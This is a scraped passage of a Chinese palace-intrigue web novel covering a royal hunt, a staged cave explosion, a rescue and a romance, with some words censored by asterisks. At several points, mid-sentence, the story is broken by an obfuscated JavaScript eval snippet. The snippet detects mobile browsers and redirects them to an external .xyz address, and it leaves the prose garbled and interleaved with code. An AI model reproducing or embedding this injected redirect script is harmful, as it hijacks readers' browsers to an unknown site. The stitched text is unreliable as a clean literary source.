满山绿意灌进眼中,像是洗涤心灵之窗一般,让人看得更加清晰,清凉温和的风带着天然的湿气扑在脸上,轻柔舒缓说不出来的舒服,只感觉全身的细胞都张开了。 姜云舒正迎着风享受这山林的柔和,却不知,此时身后一支利箭正瞄准着她的脑袋。 “咻——” 姜云舒耳朵倏地一动,紧接着头一偏,一支箭便擦着她的身侧飞了过去。 “什么人!” 她眸光一凛,腰间长鞭朝着身后之人甩了出去。 第219章 凤台山狩猎 长鞭带着风声,“嗖”的一下甩出去,姜云舒转身的同时,身后之人同样一个分身飞出去。 两人同时落地,这才看清楚,竟然是七公主。 这边的动静引来一旁裴钰和庄心悦,两人匆匆赶到,就见姜云舒和七公主剑拔**张地对质着。 “七公主,你想**?”姜云舒声音冷厉,长鞭的尖端依旧指着七公主。 “怎么急了?本公主又不是有意的,只是方才一时手上力道不够,打偏了。”七公主抱着她的弓,迎着姜云舒的怒目,笑容挑衅。 姜云舒没说话,倒是庄心悦急了,“七公主,你别太过分,刚才我们都看到了,是你……” 然而,话还没说完,就听得“咻”的一声,一支箭带着冷风自庄心悦身侧略过,朝着七公主就去了。 “啊”的一声尖叫,众人瞬间扭头,就见那支箭已经插在了七公主的发髻上。 “真是抱歉啊,小孩子手上力道不够,射偏了。” 闵青鸢的声音传来,众人猛地转身,就见她抱着稚儿起身,满面笑意地走了过来,那笑容,就跟七公主刚才对姜云舒挑衅时一样。 “你!”七公主一下子急了,朝着闵青鸢瞪眼,“你的箭都入了本宫的发髻,你说这是力道不够?” 那一箭分明是闵青鸢射的! “七公主怎么还急了呢,刚才你的箭不也是插在了旁边的树上?” 闵青鸢扭头,引着众人去看旁边树上插着的箭。 都是故意的,谁还不会装无辜了? “闵青鸢,你……” 七公主被噎得说不出话来,瞪了闵青鸢又瞪姜云舒,最后一跺脚,转身离开。 “哈哈哈哈哈!哎哟,我不行了,还得是青鸢姐!” 爆笑声散开,裴钰笑得捂着肚子直不起腰来。 姜云舒和闵青鸢对视一个眼神,也忍不住“噗嗤”笑出声。 稚儿在闵青鸢怀里,看着众**笑,一时间有些莫名其妙,转身朝姜云舒伸出手。 “姑姑,抱!” 姜云舒收敛气息,伸手将稚儿接过来,思量片刻,又跟闵青鸢道:“青鸢姐姐其实没必要跟她置气。” 七公主这人,任性嚣张惯了,又是个记仇的,往后都在京城,惹了她,少不了要有不必要的麻烦。 姜云舒自己倒无所谓,但闵青鸢带着稚儿,万一七公主没轻重,心思用在稚儿身上,得不偿失。 闵青鸢却不在意,“方才我若不出手,你打算怎么还回去?你也不是吃亏的脾气。” 这一问,倒是让姜云舒顿了一下,她眨眨眼。 “明日开猎才好动手。” 嗯,她的确不是吃亏的人,只是来京城了,有些事情不好明面上做。 闵青鸢嗔哼一声,问稚儿,“稚儿,姑姑狩猎可厉害了,你想要什么,尽管跟姑姑要!” “真的?” 稚儿黑亮亮的大眼睛一闪,转身搂住姜云舒的脖子,奶声奶气道:“姑姑,稚儿想要雪白雪白的兔子!” “好,稚儿想要的,姑姑都给稚儿猎来!” 姜云舒蹭着稚儿的额头,逗得他直笑。 清晨,天蒙蒙亮,万物复苏,太阳还没有出来,便听到帐篷外面的号角声响起。 姜云舒紧忙坐起身来,随着月禾和白芷进来,用最快的速度洗漱好,换好了衣服在外面等着。 跟来的大部分女眷都不会骑马,并不会参与到狩猎的行列中,只是跟着出来玩儿而已,而姜云舒出身武将世家,自然是跟随在狩猎的队伍之中。 众人都出来集合,此刻外面的队伍已经分成了好几个阵营。 今日这第一次围猎,这个时候,好的猎物自然是最多的,众人早已定下目标,跃跃欲试。 姜云舒跟随在恭王府的阵营之中,此时,三皇子率领的小队正好在姜云舒旁边。 “听说昨日小七险些伤了你,作为道歉,稍后孤猎一只凤台山独有的红狐作为赔礼。”三皇子压低声音看向姜云舒。 “七公主手上力道不够,伤不了我的,三皇子不必放在心上。”姜云舒朝三皇子扯了扯嘴角,只是笑意不达眼底,略显敷衍。 七公主就在三皇子身后,听得姜云舒这话,当即瞪起了眼睛。 “姜云舒,你别不识好歹,本宫箭术可是母后亲传,你竟敢贬低!”七公主握紧了手里的弓。 姜云舒扭头,同样给七公主一个皮笑肉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255824|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的表情。 “你!” 七公主气得脸都憋红了,正要再说,却听得号角声响起。 时辰到,号角三响,令旗迎风挥舞,将士齐声吼叫,一时角鸣鼓响,旗帜纷飞,马蹄踏起扬沙,一派勇猛浩大景象。 由皇上的金黄旗帜外面开路,出猎的武将带着弓箭**骑马跟在后面,皇上身边跟着八个护卫,其他人身边都还有两个护卫跟随。 随着嚎叫声再响,王孙权贵们疯了一样往林子里冲,林子里的野兽疯了一样满山窜。 皇上率领满朝将士朝着深林中冲去,三皇子紧跟其后。 今日狩猎,红狐其次,他的目标是那只彩头的**。 然而,三皇子满山疯了一样追着**,却不知,就在他身后,谢无烬同样疯了一样追着他。 深林之中,野兽都是极为敏感的,两人互不相让,便让**得了空子逃窜,从一开始追逐猎物,到后面两人相互制衡,一时间,狩猎场便成了角逐之地。 这边谢无烬和三皇子死咬着,另一侧,最后一声号角落下,姜云舒便跟七公主杠上了。 七公主的猎物是红狐,好不容易发现了踪迹,姜云舒的箭总是错开一瞬出箭,打的不是红狐,而是七公主的箭。 七公主自然明白,姜云舒是在挑衅,接连被拦了几箭之后,终于急眼了。 “姜云舒,你有完没完!” 七公主拽着缰绳掉头,就朝着姜云舒奔了过来,她带着满腔怒气过来吵架的,结果姜云舒掉头就跑,一边跑着,还抽空朝着两侧的猎物射箭。 那目的,就是不让七公主狩猎。 七公主的怒气更盛了,索性也不狩猎了,拉紧缰绳夹住马肚子就追了出去。 她也是气急了,一遍追着,甚至搭弓拉箭对准了姜云舒,连射两箭没射中,听到身后护卫提醒不能伤人,索性将他们甩开,一路垂着姜云舒狂奔而去。 两人一前一后,很快穿过了丛林,此时,听得水声,姜云舒猛地拉住缰绳。 “吁……” 她刚停下,片刻,七公主也跟了过来。 “姜云舒,我们打一场!”七公主骑在马背上,朝姜云舒扬了扬手中的弓箭。 第220章 ** “不打。” 姜云舒迎着七公主的怒目看去,“七公主,臣劝你还是不要再往前了,前面便是山洞,这山洞深邃隐藏极深,里面藏着的东西,恐怕不是我们能承受的。” 说着,姜云舒调转方向就要离开。 “你给我站住!” 七公主怒喝一声,“你今日阻拦我多次,就想这么算了?你当本公主是好欺负的?” “七公主也尝到被人放冷箭的憋闷了,我们两清,我劝你,还是尽快离开这处山洞。”姜云舒沉冷开口。 “我若偏不让你走呢!” 七公主猛地调转码头,朝着姜云舒的方向冲了过来。 姜云舒此时正在山洞的方向,见七公主过来便拉紧缰绳迎上去试图阻拦。 今日自狩猎开始,姜云舒便一直堵着七公主的箭,此时见她又要来拦截,七公主气急了,猛地伸手从后面掏出一支红菱箭,朝着姜云舒的方向拉弓。 红菱箭,那是箭头带着火油的,随着箭飞出来的一瞬间,尖端的**便会被引燃。 “七公主,你疯了!你在这里用红菱箭,万一引燃了大火烧山怎么办!”姜云舒怒喝一声,视线紧盯着七公主的箭。 见姜云舒面上带着紧张之色,七公主眸中闪过一抹得意。 “怎么,你现在知道怕了?都说了,本公主的箭术是母后亲传,自然心里有数!” 说着,她突然夹住马肚子,朝着姜云舒的方向靠近。 “姜云舒,今日本公主一定要出这口恶气!” 话音落,七公主突然松手,那红菱箭自飞离的瞬间,箭头燃起火焰,朝着姜云舒的马飞了过来。 “吁!” 姜云舒怒喝一声,猛地拉进缰绳,强迫那马调转方向,紧接着就听得“嗖”的一声,那带火的箭堪堪擦过姜云舒的身侧,朝着那山洞飞了进去。 枣红色的骏马嘶鸣一声,随着姜云舒手上的力道,调转方向。 “这里危险,快走!” 姜云舒大喝一声,朝着七公主的方向冲了过来。 不知是姜云舒的御马之术厉害,还是那马真的被惊到,此时姜云舒冲过来的速度超乎七公主的判断,她要躲避根本不可能。 疯了吗! 姜云舒这是要跟她正对面撞过来,她是要跟自己同归于尽吗? “姜云舒,你想做什……” 七公主的话还没说完,就见姜云舒突然间伸手,下一瞬,只觉身体腾空,被姜云舒整个捞了过来。 “姜云舒……” “闭嘴!” 姜云舒怒喝一声,不给七公主说话的余地,再次加紧马肚子,调转方向,朝着远处的深坑飞奔。 七公主懵了,刚才那一箭,她虽口口声声对着姜云舒,可射箭的瞬间是偏离她的,姜云舒这是要…… “轰隆……” 此时随着巨大的声音传来,七公主只觉一阵地动山摇,整个人好像都在打转一般。 这时,地动了? 还不等她想明白,紧接着的轰隆声再次传来,下一瞬,姜云舒抱着她从马背上飞了出去。 砰——砰! 两人先后摔在一片坑里。 七公主摔得眼冒金星,挣扎着要爬起来,却见旁边的姜云舒猛地朝她的方向一扑。 “趴下!” 声音传来的同时,七公主只觉眼前一黑,紧接着身体被压住,耳边再次传来巨大的响声。 地动山摇的感觉再一次传来,这一次七公主分辨清楚了,不是地动,而是**。 这一次的**比之前更剧烈,她看不清,却能听到山崩裂的声音。 刚才姜云舒的动作很快,她们此时的位置,距离山洞将近有两里地了,那震耳的**依旧带着巨大的石头落在她们周边。 此时姜云舒整个人护在七公主身上,伴随着**声,尘土和碎石落在身上,随着巨大的声音响过之后,周边一时间安静下来,只剩下耳鸣的声音。 天旋地转的声音逐渐将她整个包围住,姜云舒恍惚之间听到有人叫她的名字,那个声音距离她很远,她想回应,可脑子里却越发混沌。 不知道过了多久,好像很久,又好像很快,急促的喊声再次传来。 “阿舒!” 谢无烬疯了一般冲到坑里。 此时姜云舒和七公主几乎被**飞过来的石头泥土埋起来了,他一边喊着,一边用手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255825|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴拉。 “姜云舒!” “舒舒!” “阿舒,你回答我!” 姜云舒在意识游离之时,耳边传来急促的声音,她努力的想要睁开眼睛,可是努力了好久也没有睁开眼睛。 “我,我们在这里!” 最终,还是被压在下面的七公主先冲破了桎梏,吼出了这救命的一声。 谢无烬猛地顿住,随即看向大坑之中微微显露出动静的地方,快速几步冲过去。 他手上已经被泥土糊住,大概是刚才刨土时被石头划破,手上的泥土混着渗出来的血,浸染了一片。 然而,此时看到姜云舒的衣服,谢无烬根本顾不得自己手上的伤,咬牙刨着。 “姜云舒,你不准睡,你给我醒过来!” 他眼眸猩红,一瞬不停地刨着土,终于在一片泥土之中,看到了姜云舒的后脑勺。 姜云舒整个人都是趴在七公主身上的,也所幸是趴着,没有被泥土堵了口鼻。 此时耳边传来清晰的声音,姜云舒感觉困住自己的混沌之中忽然漏出一道光。 她猛地抓住那缝隙,拼了命的撕开,下一瞬,她仿佛挣脱了黑暗,光芒在周身绽开。 “姜云舒!” 谢无烬急切的声音再次传来。 姜云舒眼皮动了动,睁开眼睛的瞬间,就看到谢无烬那双猩红的眼睛。 她张了张嘴,还没说出话来,就见身边的人蛄蛹了蛄蛹。 “谢世子,你快将本公主……哎哟!” 七公主刚靠过来,伸手抓住谢无烬的衣袖,谁知下一瞬就被一只手糊在脸上,整个将她推了出去。 “姜云舒若是有个三长两短,我一定杀了你!” 他猛地扭头,猩红的眼睛看得七公主冷不丁打了个哆嗦。 那个眼神,大概是七公主这十几年来看到的嘴恐怖的东西,她缩了缩身子,不敢再靠近。 就说话这会儿,姜云舒的意识似乎逐渐被找回,她微微动了动,张口。 “谢无烬……” 这声音听起来沙涩,却是谢无烬听到的最动听的声音。 他猛地回过身,一把将姜云舒抱住。 第221章 亲晕了 “我在,我在这里,我来了阿舒,没事了,你没事了。” 他紧紧抱住姜云舒,紧到自己不自觉在颤抖。 他从来没有这么害怕过,哪怕当年死撑着被攻破城门,他都不曾有过害怕,可今日,他真的害怕了。 姜云舒被累得有些喘不过气来,她想说什么,可嘴唇干涩,不知是干得裂开了,还是被崩落的石头划破,此时一开口就感觉到酥酥麻麻的疼。 她用力推了推,谢无烬这才回过神来,意识到他大概是用力太大了,紧忙松开手。 “你可有哪里受了伤?”他紧张的在姜云舒身上打量。 他似乎还没从刚才的惊吓中回过神来,声音都是颤抖的,眼中虽然没了刚才的惊恐,可眼睛里的红血丝却并没有那么快消退。 姜云舒还没有过这样紧张的谢无烬,就如当年,大哥的援兵来迟了,姜云舒虽然守住了名关城,可将士们却全军覆没,那日,大哥从遍地横尸中找到她,睁开眼睛的一瞬间,也是这样的表情。 不知道为什么,她心里好像生出一种自己也说不清楚的感觉,她伸手,捧住谢无烬的脸。 “谢无烬,我没事。”她的声音还没恢复过来。 不知是她的触碰还是声音让谢无烬冷静下来,他慌乱的眼神一滞,落在姜云舒脸上。 两人视线对着,谢无烬的深眸从一开始的惊恐到慌乱再逐渐平静下来。 他盯着姜云舒的眼睛看了一会儿,突然低下头来,唇贴在了姜云舒的唇上。 温软的贴近,鼻息相缠,四周都没有了声音,耳边只剩谢无烬急促的呼吸声。 姜云舒整个人都是懵的,晕晕沉沉之间,感觉唇齿被什么温软的东西撬开,随后,被一举攻城,全军溃败。 她感觉心口生出一种让她无法控制的悸动,随后,又开始天旋地转…… “谢无烬!” 就在这时,耳边再次传来七公主的声音,“你别亲了,她都翻白眼了!” 谢无烬一顿,低头看着怀里的姜云舒眼神迷离,紧忙松开手。 “阿舒,阿舒!” 他伸手拍拍姜云舒的脸。 随着空气再次灌进来,姜云舒大口的喘气,批命的呼吸。 都说男女接吻是一件很美妙的事,可怎么晕晕乎乎的? 晕晕乎乎之间,姜云舒又被包裹在一个温暖的怀抱中。 …… 姜云舒再次醒来时,已经在营帐之中。 意识回归时,耳边传来皇后和师父说话的声音。 “额……” 姜云舒动了一下,扯动不知哪里的伤口,疼得“嘶”了一声。 “阿舒!” 薛神医回头,紧忙起身过来。 皇后顿了一下,也放下手中杯盏跟了过来。 姜云舒瞧见皇后也在,撑着身子起来要行礼。 “快别动,躺着!” 皇后不让姜云舒动,“身上还有伤,别扯到伤口。” 姜云舒又动了动,的确疼,也就没坚持。 “阿舒,现在感觉怎么样?” 薛神医一边问,伸手抬起姜云舒的手臂,将一根晶莹剔透的小棍子放在她腋下让夹住。 这个东西姜云舒见过,师父说人的体温对病痛有反应,这晶莹的小棍子叫温度计,是用来测量体温的。 “已经好多了。” 姜云舒应时,下意识感觉了一下,之前耳鸣的情况没那么明显了,除了身上四处不知扯到哪里就痛一下,其他也没什么要紧的。 “这次,多亏了你。” 皇后叹一口气,随即沉下声音,朝门口喊,“人已经醒了,你还不进来!” 随着声音出口,门口处缓缓进来一个身影,正是在门口被皇后罚跪的七公主。 许是跪的时间长了,七公主一瘸一拐的进来,见姜云舒醒了,似是松一口气般,眼睛一亮,然而,扭头瞧见皇后那严肃的表情,笑容又紧忙收敛回去。 “还愣着做什么,你要说什么还要本宫一句一句教你?”皇后声音严肃。 七公主被斥得一激灵,紧忙上前。 “姜云舒,对不起,我跟你道歉,是我不听劝,害你受伤。” 说着,七公主扭头看皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛神医拿过姜云舒的体温计,看了一眼,见温度降了下来,这才松一口气。 “是谢世子将你送过来的,之后,他和三皇子都被皇上传召去了营帐,皇后这边,七公主将你们今日发生的事都交代了,这孩子虽任性了些,倒也懂得是非,倒是三皇子……” “三皇子怎么了?”姜云舒眨眨眼睛。 薛神医看她,正要开口,却听外面通报。 “谢世子到!” 第222章 给亲吗 姜云舒和薛神医扭头,就见谢无烬站在门口,见薛神医招手,抬脚走了进来。 “罢了,既然谢世子来了,后面的事,便由你来告诉她吧。” 说着,薛神医将手里的药碗递给谢无烬,起身往外走。 姜云舒顿了一下,看看谢无烬又看看他手里拿着的伞,嘴角不受控制的扯了扯。 不是,师父,你就这么不把他当外人了? 谢无烬倒是自然地接过了药碗,坐在了姜云舒的床边。 此时他又恢复了往常那般模样,幽深的眸中红血丝散了,只剩一汪清泉。 刚熬出来的汤药,还冒着热气,谢无烬不近不远的吹着,还能余处空隙看姜云舒一眼。 “可还有什么不适的地方?”他问。 “都是皮外伤,不碍事。”姜云舒不以为意。 从小到大,她在试炼场中摸爬滚打,除了骨头断裂,都是小伤,这点算不得什么。 谢无烬依旧用汤匙搅动着汤药散热,似是知道她想问什么,道:“山洞**之事,皇上震怒,派麒麟卫前去调查,目前虽然没有直接证据指向三皇子,但凤台山自去年春天便是三皇子管理,那**能藏在山洞里,他脱不开干系。” 说着,原本盯着药碗的星眸抬起,凝落在姜云舒脸上。 “姜云舒,你给我一个说法。” 姜云舒楞了一下,随即又释然,谢无烬这样心思深沉之人,怎么能瞒得过他呢。 “是我设计的,三皇子盯上了雷土矿,我只能先下手为强。”她说完,抿着唇看他。 “所以,用得着你拼命?” 谢无烬脸色沉下来,搅动汤药的动作也停住。 姜云舒顿住,知道他会生气,却没想到他气的是自己拿命做局。 此时脑子里闪过在入坑时他的表情,一时间竟有些心虚。 “成事……总是要有风险的,而且,我有把握。” 她扯了扯嘴角,是解释,也想哄哄他。 谢无烬却依旧没好脸色,听她说完,深吸一口气。 “你有什么把握?你的把握就是让自己受伤?” 说着,没好气地拿汤匙给她往嘴里塞了一口。 姜云舒冷不丁被喂了一口药,又苦又涩的味道在唇齿间流窜,苦得她直接拧起了眉头。 “我……咳咳咳……我不喝!” 苦药什么的,真要命。 谢无烬似是发现了她的短板,眉梢一挑,又将药碗往她跟前递了递。 “不行,你受伤了,就得喝药!” “你!你怎么不喝!” 姜云舒赌气,说完,将嘴巴闭得紧紧的,休想再让她喝一口。 谢无烬动作顿了一下,见来硬的不行,低头猛地灌了一口药,倏地探身走近,唇贴上姜云舒的唇。 姜云舒脑子里一懵,正要说话,谁知一张口,苦涩的味道灌了进来,随着那苦涩的汁液蔓延,温热的舌尖扫过牙齿,推着那股苦涩往下走,到最后,只剩软甜的纠缠。 这,怎么还能这样啊! 师父这药里肯定加了什么**,要不然她怎么感觉晕乎乎的?而且,时间长了,还有点喘不上气来的感觉。 正晕着,耳边传来低低的声音。 “阿舒,呼吸。” 声音贴着耳畔,温热又性感,姜云舒突然反应过来,张口,然而,下一瞬,再次被攻城略地。 一吻结束,姜云舒只感觉脑袋里“嗡嗡”的,脸上发烫,心跳紊乱。 “谁叫你亲我!” 她咬着牙,因为呼吸不畅,出口的声音没有丝毫气势,反而更像是一只炸了**的兔子。 相比之下,谢无烬倒是满脸得意,迎着姜云舒的怒目,轻笑。 “给我亲吗?” 姜云舒顿住,也不知是因为呼吸不畅,还是不知道如何回答,此时张着嘴却除了大口喘气,一个字都说不出来了。 谢无烬也不催,抬手给她顺气。 “好了,别气,以后你同意了我才亲,你不知道,当时听到你那么大的**声,我都快疯了,我以为你……” 他不说话了,姜云舒却能感觉到,贴在她后背的手在轻颤,就和之前在大坑里被他抱住时一样的颤抖。 他是怕自己**。 知道谢无烬对自己是喜欢的,可姜云舒并不知道,他的喜欢是这样的程度。 当时他从土坑里刨出自己时的表情,姜云舒一点都不怀疑,如果自己**,他真的会杀了七公主。 就算他们之前曾经有过婚约,可也只是回京之后才见,他为什么会对自己这样执着? 姜云舒想不明白,可此时看到谢无烬又泛红的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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七公主也略显尴尬,她清了清嗓子,解释,“你这手到底是为了保护本公主才受伤的,我照顾你合情合理,快喝,除了母妃,本公主还没伺候过别人呢。” 姜云舒犹豫了一下,张开嘴,结果,一口还没喝进去,就听门口传来一声怒喝。 “姜云舒,千万别喝,有毒!” 第223章 试探,较量 七公主被这吼声吓了一跳,差点一勺子粥糊在姜云舒脸上,扭头,就见裴钰火急火燎地冲了过来。 “七公主,你不要太过分!**就敢给姜云舒下毒,这么多人看着呢!” 说着,又扭头朝谢无烬咆哮,“你就看着她毒死姜云舒?你……” 话还没说完,身后被庄心悦拽了一把,给他拽了回去。 “诶,你别拽我,今日我非得跟他决斗……” “你长点脑子,什么事儿能到了让七公主给姜云舒下毒的份儿上!”庄心悦没好气。 裴钰停住,蹙眉想了想,觉得有道理。 他转身再看,就见姜云舒已经喝上了粥,而且还是七公主一勺子一勺子给喂的。 这俩人…… 之前不还抻着脖子吵架呢么,什么时候这么和谐了? 不是,没下药,下降头了? 姜云舒大概是饿极了,她喝得很快,一会儿功夫,一碗粥就见了底。 最后一勺,七公主没有喂给姜云舒,扭头看向裴钰,抬手,送进了自己嘴里。 “这可是用野山鸡熬了一晚上的粥,你想喝还没有呢!” 说完,朝裴钰翻了个白眼,又扭头跟姜云舒道:“你想吃什么,尽管让你那丫鬟跟本公主说,本公主还盯着他们给你做!” 说完,端着碗往外走,走到裴钰身边时,抬脚往他脚面上狠狠踩了一脚。 裴钰“嗷”了一声,抱着脚蹦跶,一边蹦跶着,还嚷嚷着要出去找七公主算账,然后还没出去,就被庄心悦拽了回来。 “不是,她有病吧!” 裴钰气急败坏,扭头看看姜云舒,“也不能怪我以为她给你下毒吧,好家伙,不光送粥过来,还亲自喂,不是别有用心,就是邪祟上身!” 裴钰还是一脸不相信。 姜云舒见他急赤白脸,忍不住笑,“不是什么别有用心,也没中邪,不过是救命之恩罢了。” 裴钰顿了一下,想到之前他问谢无烬时,听他说姜云舒是整个人护在七公主身上的,脸色微微沉了下来。 “你倒是老好人,她平常那么欠,你还护着她……” “她到底是皇帝的女儿,如果在我们的争执中,受伤的是七公主,你觉得,我能轻易善了?我不过是点皮外伤,不光免了许多麻烦,还让七公主从此不再与我为难,算起来也不亏。”姜云舒轻描淡写。 炸山一事,她没有告诉谢无烬,同样也没有知会裴钰。 裴钰没好气地翻了翻眼皮,正要再说,却见闵青鸢带着稚儿也来了。 进门,闵青鸢见姜云舒倒也没受太重的伤,稍稍松一口气,可满身的伤口还是让她忍不住责备。 “你也太冒险了,就算不吃亏,也不是你这样拼命的,怎的越长大越没有分寸了!” 之前姜云舒说过,等狩猎开始时会给自己出气,却不想,她竟然拼命。 “原本,也没想到会这样……” 姜云舒说着,将稚儿拉到跟前。 稚儿小心翼翼轻轻地摸着姜云舒手上的绷带,眉毛皱着,问:“姑姑疼不疼?” “稚儿给吹吹就不疼了。” 稚儿一听,紧忙撅起嘴,在姜云舒伤口处“呼呼”地吹了两下。 众人见姜云舒精神不错,下意识松一口气,正说着话,外面传来通报。 “皇上驾到!” 众人没想到皇上会亲自来,愣怔瞬间,紧忙转身行礼。 “参见皇上!” “起来吧。” 皇上朝众人摆摆手,径自走到床边。 “你身上有伤,躺着吧。”他说。 姜云舒也没坚持,又坐了回去。 “现在可好些了?”皇上问。 “皮外伤,不算什么。”姜云舒扯了扯嘴角。 皇上看着她,随即叹一口气,“小七这孩子,是被朕宠坏了,等回宫,定要重重责罚才行。” “这件事纯粹是意外,皇上不必介怀,而且,之前皇后娘娘在时,七公主也赔了罪,这件事便到此为止吧。”姜云舒平静开口。 皇上的视线落在姜云舒脸上,他的表情平静,可正是因为平静,反而让人捉摸不透。 一时间,气氛似乎有些尴尬,此时在旁边站着的众人面面相觑,最后,闵青鸢伸手在稚儿屁股上掐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为,告发的话,三皇子的罪行足以让他进天牢,如今东越边境并不太平,此时皇后娘娘和皇上若有了嫌隙,不利于朝堂安定,引爆**不过是炸了个山头,面上查不出主谋,私底下可以敲打,不至于没有转圜的余地。” 说完,姜云舒在床上朝皇上磕了个头,“臣自作聪明,还请皇上责罚。” 此时的姜云舒,就好像一个自以为做了让人称赞的事,结果突然发现多此一举,眼中瞬间多了一丝不知所措。 皇上看着她,有种有气没处发的憋闷,半晌,瞥着她哼了一声。 “你倒是会替朕着想!” 姜云舒听得皇上声音并非带着怒意,扯了扯嘴角,一脸无辜。 “为君分忧是臣应该做的。”她顺坡下驴。 “那也太危险了,你呀,还是不如你兄长稳重!”皇上略显无奈。 不得不承认,姜云舒此番做法,的确很得皇上的意,三皇子囤藏**是要处罚,但是这惩治放在朝堂上和放在私下里就不是一个性质了。 如她所说,没有找到直接证据,这件事情还有转圜的余地,一旦搬上朝堂,即便他是皇上,也不能视大瑞朝律法于不顾。 姜云舒的话说得直白,其中深意皇上却是再明白不过。 虽说朝堂已经平定,但朝中势力相互错杂,此事摆上明面,必定会有朝臣咬住这件事情不放,甚至还会牵连皇后,导致东越边境不稳,这便是姜云舒所谓的,帝后产生嫌隙。 姜云舒垂着头,时不时偷眼瞄皇上一眼,见他面上的确没有怒意,见好就收,顺从的点点头。 “皇上教训得是,爹娘也常说,臣是家中资质最差的,臣给爹娘丢脸了。” 她忍不住嘟囔一句,一边说着,忍不住翻了个白眼,哼,家里资质最好的大哥二哥都被你流放了。 皇上冷不丁被噎了一句,却又不好发作,只能对着姜云舒瞪眼。 瞪了半晌,他似乎又想到什么,眼睛微微眯了眯,“这一次,你可谓帮了皇后一个大忙,怎么,如今到底是改了主意?” 上次姜云舒休夫的当日,三皇子和六皇子便因为求赐婚闹到了明正殿,后面薛神医回来,三皇子对姜云舒明显殷勤许多,上次供灯**会上,三皇子为了救姜云舒,不顾庄心悦的安危,以至于搅黄了他和庄心悦的婚事。 诸多事情串联在一起,难不成,姜云舒终有触动,心里那杆秤便偏向了三皇子? 皇上眼神变化,正想着,却见姜云舒神情倏然收敛。 “皇上多虑了,臣还是那句话,不管哪位皇子或者公主,都是皇上的子嗣,臣之所以为臣,自是要急君所急,不管他们有何错处,总还是要皇上来做主,皇上是君,亦是父亲,您自有衡量。” 几句话说得郑重其事,她这番“父子”之论,又有意无意地意指她身边没有父母的无奈,一时间,又让皇上哑口无言。 的确是哑口无言,皇上张了张嘴,好半晌才憋出一句话。 “行了,你好好养着,这件事朕自会处理!” 说完,皇上起身,算不上拂袖而去,却也气呼呼的转身就走。 姜云舒依旧跪在床上,恭恭敬敬的送。 “臣,恭送皇上!” 抬头见皇上的身影已经不在,她唇角勾起,笑意自眸中绽开。 看来,事情比预想中进行的还要顺利。 事情捅到皇上面前,后续就用不着姜云舒再操心,休息了一下午,精神似乎终于恢复过来。 她不是能在床上躺着的性子,稍稍活动之后,伤口没有那般撕裂的疼,她便执意下了床。 众人也结束一天的狩猎,带着猎物归来,各府除了给皇上皇后献上好的猎物,自己家里也留下晚上篝火晚会的食材。 篝火晚会就开在凤台山的高台上,早有内侍官带着宫人准备了炭火和作料,依据交上来的单子,给各家分发。 时辰到,炭火点燃,随着“嗞嗞”的烤肉声,香味蔓延开来。 县主府人少,姜云舒索性带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273881|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛神医去恭王府的火堆边上蹭肉。 薛神医和恭王妃年纪相仿,竟也有共同话题。 见她们相谈甚欢,姜云舒松了一口气,随即见大长公主离开,她也悄无声息的离开了晚会场。 许是因为有过参政的经历,自大长公主卸下权利之后,便越发喜欢清净,便是篝火晚会这般场景,也只是意思地到一下场,姜云舒早知道,她并不会停留许久。 果然,自宴会离开之后,大长公主便自行回了帐篷。 姜云舒远远跟着大长公主,一路上注意着周边守卫,等轮班侍卫队换班,她便趁着缺人的空挡去了大长公主的帐篷。 听得姜云舒求见的通报,大长公主倒是有些意外,想着山洞**的事情,还是让她进来了。 “臣,参见大长公主。”姜云舒上前行礼。 “你不在篝火晚会上,来本宫这里作甚?”大长公主开口,声音之中透着威严。 “臣是来给大长公主送东西。” 说着,姜云舒从胸口拿出一块玉佩,双手呈上。 大长公主没想到姜云舒说的不是山洞**的事情,正诧异,低头一看嬷嬷呈上来的东西,面上神情骤然大变。 